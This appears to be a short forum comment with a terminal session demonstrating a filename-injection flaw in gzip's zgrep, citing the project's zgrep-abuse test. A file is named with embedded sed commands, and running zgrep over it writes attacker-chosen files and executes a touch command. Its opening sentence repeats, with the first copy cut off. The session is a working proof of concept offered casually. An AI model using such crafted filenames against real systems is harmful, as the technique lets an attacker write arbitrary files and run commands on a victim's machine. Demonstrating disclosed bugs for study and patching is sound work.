This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse: timdoug@box:~/gzip$ ls timdoug@box:~/gzip$ touch z timdoug@box:~/gzip$ echo test |

This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse: timdoug@box:~/gzip$ ls timdoug@box:~/gzip$ touch z timdoug@box:~/gzip$ echo test | gzip > 'z| p 1s|.*|chosen-content| 1w hacked etouch .\x2fhacked2 d # #' timdoug@box:~/gzip$ zgrep test z* ztest timdoug@box:~/gzip$ ls hack* hacked hacked2 timdoug@box:~/gzip$ cat hacked chosen-content timdoug@box:~/gzip$